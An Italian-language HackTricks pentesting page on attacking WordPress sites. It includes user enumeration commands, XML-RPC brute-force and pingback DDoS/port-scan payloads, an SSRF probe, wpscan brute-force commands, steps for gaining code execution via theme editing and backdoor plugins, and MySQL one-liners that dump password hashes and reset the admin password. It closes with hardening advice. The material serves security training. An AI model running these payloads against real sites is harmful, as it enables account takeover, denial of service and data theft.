Wordpress
Reading time: 15 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Informazioni di base
-
I file caricati vanno a:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
I file dei temi possono essere trovati in /wp-content/themes/, quindi se modifichi qualche php del tema per ottenere RCE probabilmente utilizzerai quel percorso. Ad esempio: Usando il tema twentytwelve puoi accedere al file 404.php in: /wp-content/themes/twentytwelve/404.php
-
Un altro URL utile potrebbe essere: /wp-content/themes/default/404.php
-
In wp-config.php puoi trovare la password di root del database.
-
Percorsi di login predefiniti da controllare: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
File principali di WordPress
index.php
license.txt
contiene informazioni utili come la versione di WordPress installata.wp-activate.php
è utilizzato per il processo di attivazione via email quando si imposta un nuovo sito WordPress.- Cartelle di login (potrebbero essere rinominate per nasconderle):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
è un file che rappresenta una funzionalità di WordPress che consente di trasmettere dati con HTTP che funge da meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla REST API di WordPress.- La cartella
wp-content
è la directory principale in cui sono memorizzati plugin e temi. wp-content/uploads/
è la directory in cui sono memorizzati i file caricati sulla piattaforma.wp-includes/
Questa è la directory in cui sono memorizzati i file core, come certificati, font, file JavaScript e widget.wp-sitemap.xml
Nelle versioni di WordPress 5.5 e superiori, WordPress genera un file XML della mappa del sito con tutti i post pubblici e i tipi di post e tassonomie pubblicamente interrogabili.
Post exploitation
- Il file
wp-config.php
contiene informazioni necessarie a WordPress per connettersi al database, come il nome del database, l'host del database, nome utente e password, chiavi di autenticazione e sali, e il prefisso delle tabelle del database. Questo file di configurazione può anche essere utilizzato per attivare la modalità DEBUG, che può essere utile nella risoluzione dei problemi.
Permessi degli utenti
- Amministratore
- Editore: Pubblica e gestisce i propri e gli altri post
- Autore: Pubblica e gestisce i propri post
- Collaboratore: Scrive e gestisce i propri post ma non può pubblicarli
- Sottoscrittore: Naviga nei post e modifica il proprio profilo
Enumerazione passiva
Ottieni la versione di WordPress
Controlla se riesci a trovare i file /license.txt
o /readme.html
All'interno del codice sorgente della pagina (esempio da https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- File di collegamento CSS
- File JavaScript
Ottieni Plugin
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Ottieni Temi
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Estrazione delle versioni in generale
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Enumerazione attiva
Plugin e Temi
Probabilmente non sarai in grado di trovare tutti i Plugin e Temi possibili. Per scoprire tutti, dovrai forzare attivamente una lista di Plugin e Temi (speriamo per noi ci siano strumenti automatizzati che contengono queste liste).
Utenti
- ID Brute: Ottieni utenti validi da un sito WordPress forzando gli ID degli utenti:
curl -s -I -X GET http://blog.example.com/?author=1
Se le risposte sono 200 o 30X, significa che l'id è valido. Se la risposta è 400, allora l'id è non valido.
- wp-json: Puoi anche provare a ottenere informazioni sugli utenti effettuando una query:
curl http://blog.example.com/wp-json/wp/v2/users
Un altro endpoint /wp-json/
che può rivelare alcune informazioni sugli utenti è:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Nota che questo endpoint espone solo gli utenti che hanno effettuato un post. Verranno fornite solo informazioni sugli utenti che hanno abilitato questa funzione.
Nota anche che /wp-json/wp/v2/pages potrebbe rivelare indirizzi IP.
- Enumerazione degli username di login: Quando si effettua il login in
/wp-login.php
, il messaggio è diverso se il nome utente esiste o meno.
XML-RPC
Se xml-rpc.php
è attivo, puoi eseguire un attacco di brute-force sulle credenziali o usarlo per lanciare attacchi DoS su altre risorse. (Puoi automatizzare questo processo usando questo per esempio).
Per vedere se è attivo, prova ad accedere a /xmlrpc.php e invia questa richiesta:
Controlla
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Bruteforce delle Credenziali
wp.getUserBlogs
, wp.getCategories
o metaWeblog.getUsersBlogs
sono alcuni dei metodi che possono essere utilizzati per forzare le credenziali. Se riesci a trovarne uno, puoi inviare qualcosa come:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Il messaggio "Nome utente o password non corretti" all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
Utilizzando le credenziali corrette puoi caricare un file. Nella risposta apparirà il percorso (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
C'è anche un modo più veloce per forzare le credenziali utilizzando system.multicall
poiché puoi provare diverse credenziali nella stessa richiesta:
Bypass 2FA
Questo metodo è destinato ai programmi e non agli esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai credenziali valide ma l'ingresso principale è protetto da 2FA, potresti essere in grado di abusare di xmlrpc.php per accedere con quelle credenziali bypassando 2FA. Tieni presente che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque essere in grado di arrivare a RCE come spiega Ippsec in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS o scansione delle porte
Se riesci a trovare il metodo pingback.ping all'interno dell'elenco, puoi far sì che Wordpress invii una richiesta arbitraria a qualsiasi host/porta.
Questo può essere utilizzato per chiedere a migliaia di siti Wordpress di accedere a una posizione (quindi si causa un DDoS in quella posizione) oppure puoi usarlo per far scansionare a Wordpress qualche rete interna (puoi indicare qualsiasi porta).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Se ottieni faultCode con un valore maggiore di 0 (17), significa che la porta è aperta.
Dai un'occhiata all'uso di system.multicall
nella sezione precedente per imparare come abusare di questo metodo per causare DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Questo file di solito esiste nella radice del sito Wordpress: /wp-cron.php
Quando questo file è accesso, viene eseguita una query MySQL "pesante", quindi potrebbe essere utilizzato da attaccanti per causare un DoS.
Inoltre, per impostazione predefinita, wp-cron.php
viene chiamato ad ogni caricamento di pagina (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
Si consiglia di disabilitare Wp-Cron e creare un vero cronjob all'interno dell'host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).
/wp-json/oembed/1.0/proxy - SSRF
Prova ad accedere a https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net e il sito Worpress potrebbe fare una richiesta a te.
Questa è la risposta quando non funziona:
SSRF
{{#ref}} https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}}
Questo strumento controlla se il methodName: pingback.ping e per il percorso /wp-json/oembed/1.0/proxy e se esiste, cerca di sfruttarli.
Automatic Tools
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Ottieni accesso sovrascrivendo un bit
Più che un vero attacco, questa è una curiosità. Nella CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man potevi cambiare 1 bit di qualsiasi file wordpress. Quindi potevi cambiare la posizione 5389
del file /var/www/html/wp-includes/user.php
per NOP l'operazione NOT (!
).
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Modificare un php dal tema utilizzato (sono necessarie le credenziali di amministratore)
Aspetto → Editor del tema → Modello 404 (a destra)
Cambia il contenuto in una shell php:
Cerca su internet come puoi accedere a quella pagina aggiornata. In questo caso devi accedere qui: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Puoi usare:
use exploit/unix/webapp/wp_admin_shell_upload
per ottenere una sessione.
Plugin RCE
Plugin PHP
Potrebbe essere possibile caricare file .php come plugin.
Crea il tuo backdoor php utilizzando ad esempio:
Poi aggiungi un nuovo plugin:
Carica il plugin e premi Installa ora:
Clicca su Procedi:
Probabilmente questo non farà nulla apparentemente, ma se vai su Media, vedrai la tua shell caricata:
Accedila e vedrai l'URL per eseguire la reverse shell:
Caricamento e attivazione di un plugin malevolo
Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e può essere sfruttato per ottenere una web shell. Questo processo viene eseguito tramite la dashboard di WordPress come segue:
- Acquisizione del Plugin: Il plugin viene ottenuto da una fonte come Exploit DB come qui.
- Installazione del Plugin:
- Naviga nella dashboard di WordPress, poi vai su
Dashboard > Plugins > Upload Plugin
. - Carica il file zip del plugin scaricato.
- Attivazione del Plugin: Una volta che il plugin è stato installato con successo, deve essere attivato tramite la dashboard.
- Sfruttamento:
- Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato poiché è noto per essere vulnerabile.
- Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, può essere stabilita una sessione meterpreter, concedendo accesso non autorizzato al sito.
- Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress.
Il contenuto include ausili visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni dovrebbero essere utilizzate responsabilmente e solo in un contesto legale, come il penetration testing con permesso esplicito.
Per passaggi più dettagliati controlla: https://www.hackingarticles.in/wordpress-reverse-shell/
Da XSS a RCE
- WPXStrike: WPXStrike è uno script progettato per elevare una vulnerabilità di Cross-Site Scripting (XSS) a Remote Code Execution (RCE) o altre vulnerabilità critiche in WordPress. Per ulteriori informazioni controlla questo post. Fornisce supporto per le versioni di Wordpress 6.X.X, 5.X.X e 4.X.X e consente di:
- Elevazione dei privilegi: Crea un utente in WordPress.
- (RCE) Caricamento di Plugin Personalizzati (backdoor): Carica il tuo plugin personalizzato (backdoor) in WordPress.
- (RCE) Modifica di Plugin Integrati: Modifica un Plugin Integrato in WordPress.
- (RCE) Modifica di Temi Integrati: Modifica un Tema Integrato in WordPress.
- (Personalizzato) Exploit Personalizzati: Exploit Personalizzati per Plugin/Temi di Terze Parti di WordPress.
Post Sfruttamento
Estrai nomi utente e password:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Cambia la password dell'amministratore:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Attack Surface
Conoscere come un plugin di Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nella sua funzionalità. Puoi trovare come un plugin potrebbe esporre funzionalità nei seguenti punti e alcuni esempi di plugin vulnerabili in questo post del blog.
wp_ajax
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite i gestori AJAX. Questi potrebbero contenere bug di logica, autorizzazione o autenticazione. Inoltre, è piuttosto frequente che queste funzioni basino sia l'autenticazione che l'autorizzazione sull'esistenza di un nonce di Wordpress che qualsiasi utente autenticato nell'istanza di Wordpress potrebbe avere (indipendentemente dal suo ruolo).
Queste sono le funzioni che possono essere utilizzate per esporre una funzione in un plugin:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
L'uso di nopriv
rende l'endpoint accessibile da qualsiasi utente (anche quelli non autenticati).
caution
Inoltre, se la funzione sta solo controllando l'autorizzazione dell'utente con la funzione wp_verify_nonce
, questa funzione sta solo verificando che l'utente sia connesso, di solito non controlla il ruolo dell'utente. Quindi, gli utenti a basso privilegio potrebbero avere accesso ad azioni ad alto privilegio.
- REST API
È anche possibile esporre funzioni da wordpress registrando un'API rest utilizzando la funzione register_rest_route
:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
Il permission_callback
è una funzione di callback che verifica se un determinato utente è autorizzato a chiamare il metodo API.
Se viene utilizzata la funzione incorporata __return_true
, salterà semplicemente il controllo dei permessi utente.
- Accesso diretto al file php
Certo, Wordpress utilizza PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, nel caso in cui un plugin esponga qualche funzionalità vulnerabile che viene attivata semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente.
Protezione di WordPress
Aggiornamenti regolari
Assicurati che WordPress, i plugin e i temi siano aggiornati. Conferma anche che l'aggiornamento automatico sia abilitato in wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Inoltre, installa solo plugin e temi WordPress affidabili.
Plugin di Sicurezza
Altre Raccomandazioni
- Rimuovi l'utente admin predefinito
- Usa password forti e 2FA
- Rivedi periodicamente i permessi degli utenti
- Limita i tentativi di accesso per prevenire attacchi di Brute Force
- Rinomina il file
wp-admin.php
e consenti l'accesso solo internamente o da determinati indirizzi IP.
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.